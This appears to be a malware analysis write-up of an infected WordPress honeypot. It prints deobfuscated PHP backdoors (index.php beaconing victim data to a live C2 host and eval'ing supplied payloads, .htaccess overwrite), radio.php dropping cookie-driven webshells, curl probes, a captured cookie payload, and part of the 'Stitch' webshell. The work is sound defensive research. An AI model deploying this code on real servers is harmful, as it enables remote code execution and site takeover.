function delete_robotstxt_and_overwrite_htaccess($htaccess_filename = '')
{
$robotstxt_filename = "robots.txt";
if (file_exists($robotstxt_filename)) {
@unlink($robotstxt_filename);
}
if ($htaccess_filename == '') {
$htaccess_filename = ".htaccess";
}
$malicious_htaccess_str = '<FilesMatch ".(py|exe|php)$">\n Order allow,deny\n Deny from all\n</FilesMatch>\n<FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php|wp-l0gin.php|wp-theme.php|wp-scripts.php|wp-editor.php)$">\n Order allow,deny\n Allow from all\n</FilesMatch>\n<IfModule mod_rewrite.c>\nRewriteEngine On\nRewriteBase /\nRewriteRule ^index\\.php$ - [L]\nRewriteCond %{REQUEST_FILENAME} !-f\nRewriteCond %{REQUEST_FILENAME} !-d\nRewriteRule . /index.php [L]\n</IfModule>';
if (file_exists($htaccess_filename)) {
$htaccess_file_contents = file_get_contents($htaccess_filename);
if ($malicious_htaccess_str == $htaccess_file_contents) {
return;
}
}
@chmod($htaccess_filename, 0777);
@file_put_contents($htaccess_filename, $malicious_htaccess_str);
@chmod($htaccess_filename, 0644);
}
function submit_to_google_index($google_or_incoming_url, $sitemap, $obj)
{
$ping_url_str = "https://%s/ping?sitemap=%s%s/%s";
$formatted_ping_url_str = sprintf($ping_url_str, $google_or_incoming_url, $obj["protocol"], $obj["server_domain"], $sitemap);
$ping_transmit_response = create_data_transmit_request($formatted_ping_url_str);
if (isset($_REQUEST["st"])) { // probably for debugging
var_dump($formatted_ping_url_str);
var_dump($ping_transmit_response);
die();
}
if (strpos($ping_transmit_response, "google") != false) {
die("success");
} else {
$ping_url_str = "http://%s/ping?sitemap=%s%s/%s";
$formatted_ping_url_str = sprintf($ping_url_str, $google_or_incoming_url, $obj["protocol"], $obj["server_domain"], $sitemap);
$ping_transmit_response = create_data_transmit_request($formatted_ping_url_str);
if (strpos($ping_transmit_response, "google") != false) {
die("success");
}
die("failed");
}
}
function main($c2_url)
{
$obj = array();
$obj["default_params"] = $c2_url;
$obj["api"] = "http://3829-ch4-v26.zxckid.com";
$obj["server_domain"] = get_victim_domain();
$obj["request_url"] = ${"_SERVER"}["REQUEST_URI"];
$obj["referer"] = isset(${"_SERVER"}["HTTP_REFERER"]) ? ${"_SERVER"}["HTTP_REFERER"] : '';
$obj["user_agent"] = isset(${"_SERVER"}["HTTP_USER_AGENT"]) ? ${"_SERVER"}["HTTP_USER_AGENT"] : '';
$obj["ip"] = get_ip_address();
if (isset(${"_SERVER"}["HTTPS"])) {
$obj["protocol"] = "https://";
} else {
$obj["protocol"] = "http://";
}
if (isset(${"_SERVER"}["HTTP_ACCEPT_LANGUAGE"])) {
$obj["language"] = ${"_SERVER"}["HTTP_ACCEPT_LANGUAGE"];
} else {
$obj["language"] = "";
}
if (isset($_REQUEST["params"])) {
header("Content-type:application/json");
if (function_exists('json_encode')) {
echo json_encode($obj);
} else {
print_r($obj);
}
die();
}
if (isset($_REQUEST["d_time"])) {
die('2022/12/1');
}
if (isset($_REQUEST["pwd163"])) {
// first password is for taking a payload in param zzz, builds
// it, and if param e is set, executes it, if no e param is present
//then it saves it to a tmp file
if (md5(trim($_REQUEST["pwd163"])) == "226560a743d22857adddeb10aa38d571") {
$malicious_payload_str = base64_decode(rawurldecode((urlencode(urldecode($_REQUEST["zzz"])))));
if (strpos($malicious_payload_str, "<?php") === false) {
$malicious_payload_str = "<?php" . PHP_EOL . $malicious_payload_str;
}
if (isset($_REQUEST["e"])) {
$malicious_payload_str = str_replace("<?php", "", $malicious_payload_str);
eval($malicious_payload_str);
die();
}
$tmp_file = tmpfile();
fwrite($tmp_file, $malicious_payload_str);
$tmp_file_metadata = stream_get_meta_data($tmp_file);
@require($tmp_file_metadata["uri"]);
fclose($tmp_file);
die();
}
// second password expects a sitemap and domain to be passed in and then it will submit
// the website to google for indexing
if (md5($_REQUEST["pwd163"] . "a!#_11AA") == "2f7a76f71ff9e24be7c0015ff9cb81d8") {
if (isset(${"_GET"}["sitemap"])) {
$sitemap = ${"_GET"}["sitemap"];
$google_or_incoming_url = "www.google.com";
if (isset(${"_GET"}["google_or_incoming_url"])) {
$google_or_incoming_url = ${"_GET"}["google_or_incoming_url"];
}
submit_to_google_index($google_or_incoming_url, $sitemap, $obj);
}
}
}
// delete robots and overwrite htaccess
delete_robotstxt_and_overwrite_htaccess();
$request_obj = array('domain' => $obj["server_domain"], 'request_url' => $obj["request_url"], 'ip' => $obj["ip"], 'agent' => $obj["user_agent"], 'referer' => $obj["referer"], 'protocol' => $obj["protocol"], 'language' => $obj["language"]);
$transmit_response = create_data_transmit_request($obj["api"], 0, 2, $request_obj, array(), $obj["server_domain"]);
if (isset($_REQUEST["dump"])) { // probably for debugging
var_dump($transmit_response);
$transmit_response = create_data_transmit_request("http://google.co.jp");
var_dump($transmit_response);
die();
}
// decode the transmission response and echo it out
$decoded_transmission = decode_transmission($transmit_response);
if ($decoded_transmission !== false) {
foreach ($decoded_transmission["headers"] as "Content-type:application/json") {
@header("Content-type:application/json");
}
echo $decoded_transmission["data"];
die();
}
}
main($c2_url);
?>
view raw index.php hosted with ❤ by GitHub

In the first step, the code defines a main() function, passing in a new C2 domain of http://3829-ch4-v26.zxckid.com. The first non-parameterized step in main() is a function called delete_robotstxt_and_overwrite_htaccess(), which does a search for the robots.txt file and deletes it. Then, it searches for the .htaccess file and overwrites it with the same contents found in the infected host .htaccess file at the beginning of our analysis.

The second step calls the create_data_transmit_request() function to send information about the infected host back to the C2. The transmit request function contains several different methods to send data back to the C2 depending on what is available to the infected host. This code can use: curl_init, fsockopen, pfsockopen, stream_socket_client, and socket_create

The equvilant POST request to the C2 would be something like:

Method: POST
URL: http://3829-ch4-v26.zxckid.com
Body:
{
    "domain": "<victim hostname>",
    "request_url": "/index.php",
    "user_agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
    "ip": "<ip of request originator>"
}

Which as of the time of writing this post, gives us a response of eJxzzs8rSc0r0Q2pLEi1UihJrSjRzyjJzakBAHDCCSo=.

Running this through the decode_transmission() function gives returns this string: Content-Type: text/html. This response would make decode_transmission() return early since the number of parameters returned is less than 2. However, we can see that if more than 2 parameters were passed in, this code would expect a base64-encoded data string, allowing the C2 server to display whatever text/html they would want on the infected host.

Info → During the reversing process, a lot of $GLOBALS variables were removed for readability. The fact that $GLOBALS was being written to tells us that this will only work on older versions of PHP since it was removed in PHP 8.1.0

There are some paramiterized checks that occur, the most interesting of which is a check for a request parameter called pwd163 expecting a string who’s MD5 hash is 226560a743d22857adddeb10aa38d571:

if (md5(trim($_REQUEST["pwd163"])) == "226560a743d22857adddeb10aa38d571") {
    $malicious_payload_str = base64_decode(rawurldecode((urlencode(urldecode($_REQUEST["zzz"])))));
    if (strpos($malicious_payload_str, "<?php") === false) {
        $malicious_payload_str = "<?php" . PHP_EOL . $malicious_payload_str;
    }
    if (isset($_REQUEST["e"])) {
        $malicious_payload_str = str_replace("<?php", "", $malicious_payload_str);
        eval($malicious_payload_str);
        die();
    }
    $tmp_file = tmpfile();
    fwrite($tmp_file, $malicious_payload_str);
    $tmp_file_metadata = stream_get_meta_data($tmp_file);
    @require($tmp_file_metadata["uri"]);
    fclose($tmp_file);
    die();
}

This is essentially the same logic that we saw before, taking an encoded malicious payload and either executing it on the current file, or writing it to a temporary file and including the contents on the current file.

The second pwd163 checks the a string with the MD5 hash of 2f7a76f71ff9e24be7c0015ff9cb81d8 and the existence of a query parameter called sitemap. If these values are passed in, the following code executes, submitting the infected site and all of the pages in the sitemap to Google’s search engine to be indexed:

if (md5($_REQUEST["pwd163"] . "a!#_11AA") == "2f7a76f71ff9e24be7c0015ff9cb81d8") {
    if (isset($_GET["sitemap"])) {
        $sitemap = $_GET["sitemap"];
        $google_or_incoming_url = "www.google.com";
        if (isset($_GET["google_or_incoming_url"])) {
            $google_or_incoming_url = $_GET["google_or_incoming_url"];
        }
        submit_to_google_index($google_or_incoming_url, $sitemap, $obj);
    }
}

The submit_to_google_index() function builds the equivalent of this URL: https://www.google.com/ping?sitemap=https://<victim hostname>/<sitemap file> which is a well-documented Google Webmaster API. Since the robots.txt file was deleted, Google will index all files.


/radio.php

The /radio.php files (plural, because there were 291 radio.php files throughout the infected host) is not obfuscated like the other files, but it does randomly generate new files that are highly obfuscated

<?php
ini_set('display_errors', 0);
ini_set('display_startup_errors', 0);
error_reporting(E_ALL);
function get_dir()
{
error_reporting(0);
$glob = glob('*', GLOB_ONLYDIR);
$dir = (is_array($glob) && !empty($glob) && ($glob_filtered = array_filter($glob, 'is_writable'))) ? $glob_filtered[array_rand($glob_filtered)] : false;
return $dir;
}
if ($_GET['imam'] == 'doit') {
$key_store = [];
$arr_length = rand(20, 30);
while (true) {
$k = rand(4, $arr_length - 2);
if (!in_array($k, $key_store)) {
$key_store[] = $k;
}
if (count($key_store) == 5) {
$key_store[5] = $arr_length;
break;
}
}
$spass = implode('-', $key_store);
$mn = substr(md5(microtime()), rand(0, 20), 7);
$htfile = "<Files *.php>\nOrder allow,deny\nAllow from all\n</Files>";
$sbody = '<?php $p=$_COOKIE;(count($p)=='
. $key_store[5] . '&&in_array(gettype($p).count($p),$p))?(($p['
. $key_store[1] . ']=$p[' . $key_store[1] . '].$p['
. $key_store[2] . '])&&($p[' . $key_store[3] . ']=$p['
. $key_store[1] . ']($p[' . $key_store[3] . ']))&&($p=$p['
. $key_store[3] . ']($p[' . $key_store[0] . '],$p['
. $key_store[1] . ']($p[' . $key_store[4] . '])))&&$p()):$p;';
if (file_exists('wp-content')) {
@chdir('wp-content');
@chdir('themes');
$mydir1 = get_dir();
@chdir($mydir1);
$mydir2 = get_dir();
@chdir($mydir2);
$f = fopen($mn . '.php', 'w');
fwrite($f, $sbody);
fclose($f);
$file = fopen(".htaccess", "w+");
$write = fwrite($file, $htfile);
fclose($file);
$link = 'http://' . $_SERVER['HTTP_HOST'] . rtrim(dirname($_SERVER['REQUEST_URI']), '\\/') . '/wp-content/themes/' . $mydir1 . '/' . $mydir2 . '/' . $mn . '.php ' . $spass;
} else {
$mydir3 = get_dir();
@chdir($mydir3);
$mydir4 = get_dir($mydir4);
@chdir($mydir4);
$mydir5 = get_dir();
@chdir($mydir5);
$f = fopen($mn . '.php', 'w');
fwrite($f, $sbody);
fclose($f);
$file = fopen(".htaccess", "w+");
$write = fwrite($file, $htfile);
fclose($file);
$link = 'http://' . $_SERVER['HTTP_HOST'] . rtrim(dirname($_SERVER['REQUEST_URI']), '\\/') . '/' . $mydir3 . '/' . $mydir4 . '/' . $mydir5 . '/' . $mn . '.php ' . $spass;
}
echo "\n" . $link . "\n";
}
echo $link;
//$file=fopen(__FILE__ ,'w');
//fclose($file);
if ($_GET['imam'] == 'unlink') {
unlink(__FILE__);
}
if ($_GET['imam'] == 'test') {
echo "<title>imambro</title>";
}
?>
view raw radio.php hosted with ❤ by GitHub

When this file is requested with a query parameter of imam=doit, a random number is generated between 20-30, and a loop is started that chooses numbers between 4 and the random number length - 2. These numbers are pushed into the $key_store array until it gets to the 5th iteration of the loop, then it inserts the random number that was generated at index 5.

Some strings are defined that will be used as the contents of two new files that will be written by /radio.php. One of which is an .htaccess file, and the other being a randomly generated filename that is either created in a subdirectory of /wp-content, or in whatever writeable subdirectory /radio.php can find.

A link is generated to the path of the file that was saved with a random name, then echoed out on /radio.php. It’s likely that the C2 server would call the /radio.php file, triggering the obfuscated code to be saved in a randomly generated file, as well as the password that was used to create it.

We can use curl to mimic what the C2 would be seeing when it makes this request:

curl "https://victimdomain.com/radio.php?imam=doit"
http://victimdomain.com////0bda96d.php 4-13-8-17-5-20
curl "https://victimdomain.com/radio.php?imam=doit"
http://victimdomain.com////9f4f700.php 21-28-23-15-11-30

The resulting files from these requests are:

cat 0bda96d.php
<?php $p=$_COOKIE;(count($p)==20&&in_array(gettype($p).count($p),$p))?(($p[13]=$p[13].$p[8])&&($p[17]=$p[13]($p[17]))&&($p=$p[17]($p[4],$p[13]($p[5])))&&$p()):$p;
cat 9f4f700.php
<?php $p=$_COOKIE;(count($p)==30&&in_array(gettype($p).count($p),$p))?(($p[28]=$p[28].$p[23])&&($p[15]=$p[28]($p[15]))&&($p=$p[15]($p[21],$p[28]($p[11])))&&$p()):$p;

In order to find out what the attacker is doing, we need to understand what is inside the attacker’s $_COOKIE.

Looking through the log file from the honeypot, we see some requests being made with large $_COOKIE strings coming from several different IP’s: 68.178.221.131, 49.236.200.213, 151.80.67.229, and 187.103.250.210.

One of which looking like:

1=13;2=13;3=13;4=13;5=13;6=13;7=13;8=13;9=13;13=13;14=13;15=13;16=13;17=13;18=13;19=13;20=13;Array25=Array25;array25=array25;67=b;80=ase64_decode;90=Y3JlYXRlX2Z1bmN0aW9u;51=;38=_COOKIE;29=ZGllKG1kNSg5OTg5KSk7;

Knowledge of standard coding conventions allows us to deobfuscate this to the following:

<?php
$p = $_COOKIE;
if (count($p) == 20 && in_array("array20", $p)) {
$p = create_function("", "die(md5(9989));");
$p();
} else {
$p;
}
?>

When executed, the file displays the following MD5 hash: 4fc8ed929e539525e3590f1607718f97. This could be what the C2 eventually uses for the password hashes that belong to the other malware mentioned above, or it could be used to tell the C2 what stage of infection this host is in. With code like this, the attacker is able to execute any arbitrary code on the victim’s server by calling this file with any base64 encoded PHP in the $_COOKIE variable.


/wp-content/themes/twentytwentyone/inc/wp-login.php

Another webshell called Stitch was found on the infected host inside a Wordpress-named file of wp-login.php, but in the wrong place of the filesystem.

<?php
define("MAMIMAMIHO", "6bf94463aa559f622141311f24c1844f");
header("Content-type:text/html;charset=utf8");
error_reporting(0);
define('THEPATH' , dirname($_SERVER['SCRIPT_FILENAME']));
class StringHandler {
const ALL_STRING = 'The quick brown fox jumps over a lazy dog.';
public static function returnStr ($code = 'test') {
return eval($code);
}
public static function getApple ($alice = 'fire' , $bob = [] , $hole = null) {
return proc_open($alice , $bob , $hole);
}
public static function getPen ($content = 'pen') {
$array = self::returnArray();
$content = $array[0][2] . $array[3][2] . $array[5][2] . $array[1][3];
return $content;
}
public static function getPineapple ($str = 'met') {
$array = self::returnArray();
$content = $str . $array[4][4] . $array[7][3];
return strrev($content);
}
public static function getBanana ($str1 = '' , $str2 = '') {
$array1 = [70 , 61 , 73 , 72];
$array2 = [163 , 164 , 150 , 165];
foreach ($array2 as $value) {
$str2 .= chr(octdec($value));
}
foreach ($array1 as $value) {
$str1 .= hex2bin($value);
}
return substr($str1 , 0 , 3) . substr($str2 , 0 , 3) . substr($str1 , 3 , 1) . substr($str2 , 3 , 1);
}
public static function getWatermalen ($str3 = 'getme') {
$str1 = "php";
$str2 = "input";
$str3 = $str1 . ":" . "//" . $str2;
return $str3;
}
public static function getOrange () {
$des = 'JFpevcg';
$tory = 'sveronyy';
$destory = str_rot13($des . '.' . $tory);
$name = 'shaqeaqllaqdoaqn';
$new_name = str_replace('aq' , '' , $name);
$string = substr_replace($destory , $new_name , 8);
$content = substr($string , 0 , 13);
return $content;
}
public static function getGrape () {
return 'proc_open';
}
public static function returnArray () {
$all_array = explode(' ' , self::ALL_STRING);
return $all_array;
}
public static function getCode ($which) {
switch ($which) {
case 'pgone':
$code = 'VlRiqKAlY2Wcov9jMKWfPaImMFOGo2AeMKD7PvEfrJ54CFNvoUyhrPV7PvEmrKA0MJ09VPqyL2uiVPWtqJ5uoJHtYJStVwgyL2uiVPWtnJEtVwfiLzyhY3AbWmfXWQN9WTk5oat7PvE0LKWaMKD9WRSFE1MoZS07PvEjo3W0CFEOHxqJJmSqBjbxnJSxMUV9nJ5yqS9uqT9hXPE0LKWaMKDcVUk8VTEcMFtvEKWlo3V6VPDuKT4vXGfXWUOuMTElCKAiL2guMTElK2yhXPEjo3W0YPNxnJSxMUVcVUk8VTEcMFtvEKWlo3V6VPDuKT4vXGfXWUOlo3EiCJqyqUOlo3EiLayhLJ1yXPq0L3NaXGfXp29wn2I0XSACD0gSIPjtHRMsFH5SIPjtH09QF19GISWSDH0fVPEjpz90olxtsUjtMTyyXPWSpaWipwbtWPSpovVcBjcwo25hMJA0XSACD0gSIPjtWUOuMTElXFO8sPOxnJHbVxIlpz9lBvNxVIkhVvx7Pz9jMJ4bH1ERFH4fVPV';
break;
case 'gai':
$code = 'V2yhL2k1MTHtCUA0MTyiYzt+PvAcozAfqJEyVQkmrKZip29wn2I0Yzt+PvAcozAfqJEyVQkhMKEcozI0Y2yhYzt+PzyhqPOgLJyhXTyhqPOupzqwYPOwnTSlVPcupzq2J10cPafXVTyhqPOzMQfXVUA0paIwqPOmo2AeLJExpy9covOmnJ47PvOwnTSlVTEyoUAyoTMoZwSqCFWloFNgMvNvBlNXVTEuMJ1iovtkYQNcBjbtp2yhYaAcoy9zLJ1coUxtCFOOEy9WGxIHBjbtp2yhYaAcoy9jo3W0VQ0tnUEioaZbLKEinFuupzq2JmWqXFx7PvOmnJ4hp2yhK2SxMUVhp19uMTElVQ0tnJ5yqS9uMTElXTSlM3MoZI0cBlNXVTW6MKWiXTSlM3MoZI0fp3EloTIhXTSlM3MoZI0cXmRep3EloTIhXTSlM3MoZy0cXGftPvOzMPN9VUAiL2gyqPuOEy9WGxIHYPOGG0AYK1AHHxIOGFjtFIODHx9HG19HD1NcVQftPvOcMvNbXTAioz5yL3DbMzDfVPumqUW1L3Dtp29wn2SxMUVtXvxtWaAcovjtp2y6MJ9zXUA0paIwqPOmo2AeLJExpvxcXGjjXFO7PvNtVUOypaWipvtvJl1qVTAioz5yL3DbXFVcBjbtVPOyrTy0XQNcBjbtsDbtp3ElL2S0XTEyoUAyoTLfVTSlM3MoZS0cBjbtp3ymqTIgXTEyoUAyoTLcBlNtPvOxqKNlXTMxYPNjXGfXVTE1pQVbMzDfVQRcBjbtMUIjZvuzMPjtZvx7PvOyrTIwoPtvY2Wcov9mnPVfVaAbVP1cVvjtGyIZGPx7PvOwoT9mMFuzMPx7VNbtpzI0qKWhVQN7Pa0=';
break;
}
return str_rot13($code);
}
}
class HtmlOutput {
public static function htmlOut ($data) {
echo "$data\n";
}
public static function getFileIcon ($type) {
$type_array = [
"aspx" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQEAYAAABPYyMiAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAAZiS0dEAAAAAAAA+UO7fwAAAAlwSFlzAAAASAAAAEgARslrPgAAAjNJREFUSMfFVD9IemEUPVfKNh3KEgLBhhpa6n0uEUGJjklQ0OYaQRAEDU1G4NDg4FLU8MopiJqsxXi0uNQSIUVLz1dQixEGCQ3yzm94Px2Ukl//fme797sf59x7z/cJ/kJpSlNaqQSBQLq68FksYxnLllWdrc5WZycmLuVSLsWyWt7TzrVz7bxa/TRxrREqKq6uKqWUUnd3oaPQUeior++9etdXCT9GIMAEE0ycnr4n5IcFtBbS9t1UcizHcpzP2zv2jr2zvt5UcI1rXBuGEwSD9fx3eaAVHG+QtfiXVvDBxBoV/TaaPUAQvL3FAQ5wYBg0adKMRuVJnuRJBBYsWCcnXOISlyYnZUVWZOXhAV544b25QT/60T86yna2s/3xUXKSk1wo5JyfncGAAWNsrEbXtAIucIELV1cssMDC8DDWsIa1VIoBBhjY3oYGDdrAALLIImuajDDCiK4jiCCC0Sj3uc/9jQ1JSlKSPT3UqVOPx+GGG+6Xl9YT2MUudnM5qUhFKrGYk7RtDnKQg1NTMGHCLBZdMVfMFSsUnLzH49R1d8u8zMt8RwcucIELjwczmMFMpYIyyih7vY10TROQV3mV16EhTnOa08Ui44wzPjIiYQlLuFx2Or2/t3Vbt/Xxcfroo+/tzVldKoVNbGIzHEYnOtGZz4tf/OLf22Mve9nb/CV/2YSO0K0tOZRDOZyb+9f7//0V1PFbQho/vLoJmWaa6edntagW1eIPCskgg0ypVAv/AGuEFKY93mwjAAAAJXRFWHRkYXRlOmNyZWF0ZQAyMDE5LTEwLTIzVDIzOjI4OjA1KzA4OjAwzBJUYgAAACV0RVh0ZGF0ZTptb2RpZnkAMjAxOS0xMC0yM1QyMzoyODowNSswODowML1P7N4AAABHdEVYdHN2ZzpiYXNlLXVyaQBmaWxlOi8vL2hvbWUvYWRtaW4vaWNvbi1mb250L3RtcC9pY29uX2lpcW1oMjZ1a3VqL2FzcHguc3ZnlsnZqwAAAABJRU5ErkJggg==" ,
"css" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQEAYAAABPYyMiAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAAZiS0dEAAAAAAAA+UO7fwAAAAlwSFlzAAAASAAAAEgARslrPgAAAt5JREFUSMe9VTFIW1EUPVcTmzRF3bpIQecs/veDm6Bu9dtKsSglOAii4iBWMU5CQpFaBBfxg/xB0qWlNIO6dNCmIpHa+AMmQhzMkgyOxgSJhf9uh6+WtvyWtNKzvPfOO3DPu++9ewlXaC21llpLT56Qj3zke/uWAhSggMuFajGGMYxdXnKOc5x7/NicN+fN+Q8fnOR0PRFn4kycvXrFRS5y8f79mnRNuiYdDlcbX1rSktabN9CgQfP7MYEJTGiauWwum8vb2z/rfz1hBRVUisWkltSSWi5XrQExI2bETKWCCCKIeL02u7EhWLDg7u4DOqADisev9TVVp/ivcPcu7/Ee762vB5oDzYHmQMA5A/8IuSt35e7z57Xh2nBtuLHxZmMTm9icnra6rC6r6+FDGDBgfPly6wZSiVQilUgm7TfwnRdZkRXZZ8+wiEUsfuf/0xU4g4QhDGFUKtChQ79z579FvvquJIQQQjD/Xv3x44/rjg57TKft8eSEddZZ7+mhAhWocHyMJjShKZtllVVWHz1yqivOV6BDhx6LcYxjHMvneZAHebBQQDva0X54aItevsQSlrDk8dAojdJoMsn93M/9kQjKKKPc0IBznOP882enMI4GeJVXefXwkOIUp3hPD0UpStGBAbtOPHhgq54+xSQmMfnpEwgEcrspRCEKBYPsYQ97trau+aoNUC/1Uq+mwQUXXC9eYBazmJ2awj72sZ/LcZ7znH//HsMYxrDXa2fo6Aid6ETnu3ekkELKvXtYwxrWjo8d4/zxDVzXdj/72c9M4zRO4x4PRjCCESl5iId4qFymNmqjtvp6CAgIZl7hFV4plW54JwPKjrKj7Jyeog51qGtooAxlKEMEN9xwX1zgtpBAAgmfzzZmWbBgwSoWb70ZOUEqUpHKwgLmMIe5TMY0TMM0wuEbA2pQDarBgQEZlVEZff36r9uxE1SoUL9+lSEZkqG+vlRLqiXVsrHxDRyVWXgjtX2dAAAAJXRFWHRkYXRlOmNyZWF0ZQAyMDE5LTEwLTIzVDIzOjI4OjA1KzA4OjAwzBJUYgAAACV0RVh0ZGF0ZTptb2RpZnkAMjAxOS0xMC0yM1QyMzoyODowNSswODowML1P7N4AAABGdEVYdHN2ZzpiYXNlLXVyaQBmaWxlOi8vL2hvbWUvYWRtaW4vaWNvbi1mb250L3RtcC9pY29uX2lpcW1oMjZ1a3VqL0NTUy5zdmeLMRR2AAAAAElFTkSuQmCC" ,
"dir" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQEAYAAABPYyMiAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAAZiS0dEAAAAAAAA+UO7fwAAAAlwSFlzAAAASAAAAEgARslrPgAAAVhJREFUSMftlK2qAlEUhdceRTCoiEEYDGIxj0cMvoLdaBib+BNE1KJBZHDewGa3DmIZLPoKYxGTUQyCODhy9g3iLTfovTDc4qrnnP19rA0H+OeQmIu5mDcaMGDAqNV4wxvehEJvT7Bhwz6foUKFalnuzt25u9HIKTtlp3y7vXoefAwwDO5xj3v1umIrtmIfDu/y5Ume5CmZRAABBPr98CQ8CU+i0cdpq/WygZzMyZz0PBrQgAbLJRZYYHG9/rrLMcYYp1Ic5zjHNQ177LFfr3/cu+OOu+dRgQpUmE6/BVBBBZXhEA4cOMfjH1f6MqSTTno6jRhiiFWreArkrbyVtzIZv8DPaEWtqBVVVQghhLhcFL+Br/IR+Ah8BII0oxnNXJcjHOFIqfT4D7Zbv4DSlKY0s1k22WTTdYNIIIFEp8NgMHQdK6ywUvxrpo022lJSk5rU7HZ947ybL6dZj4GTbSQjAAAAJXRFWHRkYXRlOmNyZWF0ZQAyMDE5LTEwLTIzVDIzOjI4OjA1KzA4OjAwzBJUYgAAACV0RVh0ZGF0ZTptb2RpZnkAMjAxOS0xMC0yM1QyMzoyODowNSswODowML1P7N4AAABGdEVYdHN2ZzpiYXNlLXVyaQBmaWxlOi8vL2hvbWUvYWRtaW4vaWNvbi1mb250L3RtcC9pY29uX2lpcW1oMjZ1a3VqL2Rpci5zdmfYazEbAAAAAElFTkSuQmCC" ,
"exe" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQEAYAAABPYyMiAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAAZiS0dEAAAAAAAA+UO7fwAAAAlwSFlzAAAASAAAAEgARslrPgAAAkFJREFUSMe9lLFLcmEUxp/nq+GGQzREcCmhoKKhpVdEKojb0p/QEAVtQlYStarUJLiIEASCBP0H1WRhQ3BLh3AJRAgjiEgSAgMju6fhfvpBYYJf+Wzn4Zx7fu95z3uJv1IrakWtPD7iAhe46O1Fq9rCFrYKhep8db46bxhZZpllodC0biI9kZ5IV6stN64dRJQoCYWUUkqp21vXkevIdTQ01Cj/z/82/F5OpwQlKMFUqhHILwM0B+n86VY85jGPz8+thJWwEuHwl4RrXOP69NQOBgfr/k/tQDPZuyFSi9t0Bd9M7DNRu9V4B5awhKVIRAwxxHh/5wlPeKJpOMABDubmQBB8e5OMZCQzNmb7ySSjjDL6+ioJSUgil6t/7wlPeFpY4CY3udnf3xzAAQccz89c5jKXd3bqvhdeeC0LPehBj9+PNaxhra+PJk2ai4t2Ujxu121vtzwBa9aatWazWbrppjscRgoppHSde9zjXq2Rx4MAAgicncGECdPpxAY2sPHyIuMyLuP/XgF3uctdnw8ZZJBxOGp+h67ruq6HQl8I0kgjfXXFbnaz2++nRo3ayAimMIWpUkkqUpFKMskyyyxPTyOPPPK5HOOMM14swgUXXKurfOADH5TCHe5wp2m4xz3uOzrqYA2XMIYYYoeH8MEHX6VS92cwg5nRUYlIRCLDw/aEurogEMjlJQwYMDo77Ynd3NTKxBRTTI+Hk5zk5MBAc4B2q10gn3949SWUqEQlWiqpdbWu1n8RZB/72C8Wa+EHCmUDZEgGfvQAAAAldEVYdGRhdGU6Y3JlYXRlADIwMTktMTAtMjNUMjM6Mjg6MDUrMDg6MDDMElRiAAAAJXRFWHRkYXRlOm1vZGlmeQAyMDE5LTEwLTIzVDIzOjI4OjA1KzA4OjAwvU/s3gAAAEZ0RVh0c3ZnOmJhc2UtdXJpAGZpbGU6Ly8vaG9tZS9hZG1pbi9pY29uLWZvbnQvdG1wL2ljb25faWlxbWgyNnVrdWovZXhlLnN2Z2RWoAMAAAAASUVORK5CYII=" ,
"html" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQEAYAAABPYyMiAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAAZiS0dEAAAAAAAA+UO7fwAAAAlwSFlzAAAASAAAAEgARslrPgAAAghJREFUSMfFVb9LamEYft/jddBBafG4VIQSSCD4fUcFdXIoMBwddIlAHOSsglMN5uJpCQQJaYjgLC2CJELOokc+kaAlgoam/AM8kOZ3h4Nwb5fL8ZZcn/H99T3vw/PyAawZ+DlAKaWUPjxABCIQcTh4hVd45ePDdFAUoxh1OCAPechfXLAsy7Ls2dk/MyIqUYl6fx/oBrqBrte7bB8llFBSr9MczdHcfE68xEu8x8dmfcLKNWXAgCGiE53ovLw0FD08/H8EfoPVyjWuce321lBof/9zxY9VPcVd3MVdV1eYxjSmn58XcaxjHet2OyAg4Pm5EfX7V0QA0a/4Fb9itw8Lw8Kw0OtBG9rQ7vUWFWE1rIZVUZzxGZ/xg4MvKyBNpIk02dzkMR7jse3teWaemWdeX3GEIxxtbUklqSSVNjZ4gzd4o9NhjDHGJhOzuaYeCCVDyVByZ8d4+OREL+pFvahpQlbICtndXWvCmrAmnp4sHovH4un3oQY1qN3cLLuYqQJaU2tqzZcXw82Nhi1lS9lSkQgXuchFUeyP++P++O3NyB8doQ996Ds9XRmBBQxJ7+4MMwEEq8FqsLq3BzLIIC/y19fGGS479RtnOJAH8kB+fPxq/7cJrAprJ/CHB4SyUBbKbjeP8ziPdzpEJzrRzT+jv2GqTJWpIgjYwha23t/BDW5wr3vtX/ATpfLJLQZQUDwAAAAldEVYdGRhdGU6Y3JlYXRlADIwMTktMTAtMjNUMjM6Mjg6MDUrMDg6MDDMElRiAAAAJXRFWHRkYXRlOm1vZGlmeQAyMDE5LTEwLTIzVDIzOjI4OjA1KzA4OjAwvU/s3gAAAEd0RVh0c3ZnOmJhc2UtdXJpAGZpbGU6Ly8vaG9tZS9hZG1pbi9pY29uLWZvbnQvdG1wL2ljb25faWlxbWgyNnVrdWovaHRtbC5zdmdmCdwJAAAAAElFTkSuQmCC" ,
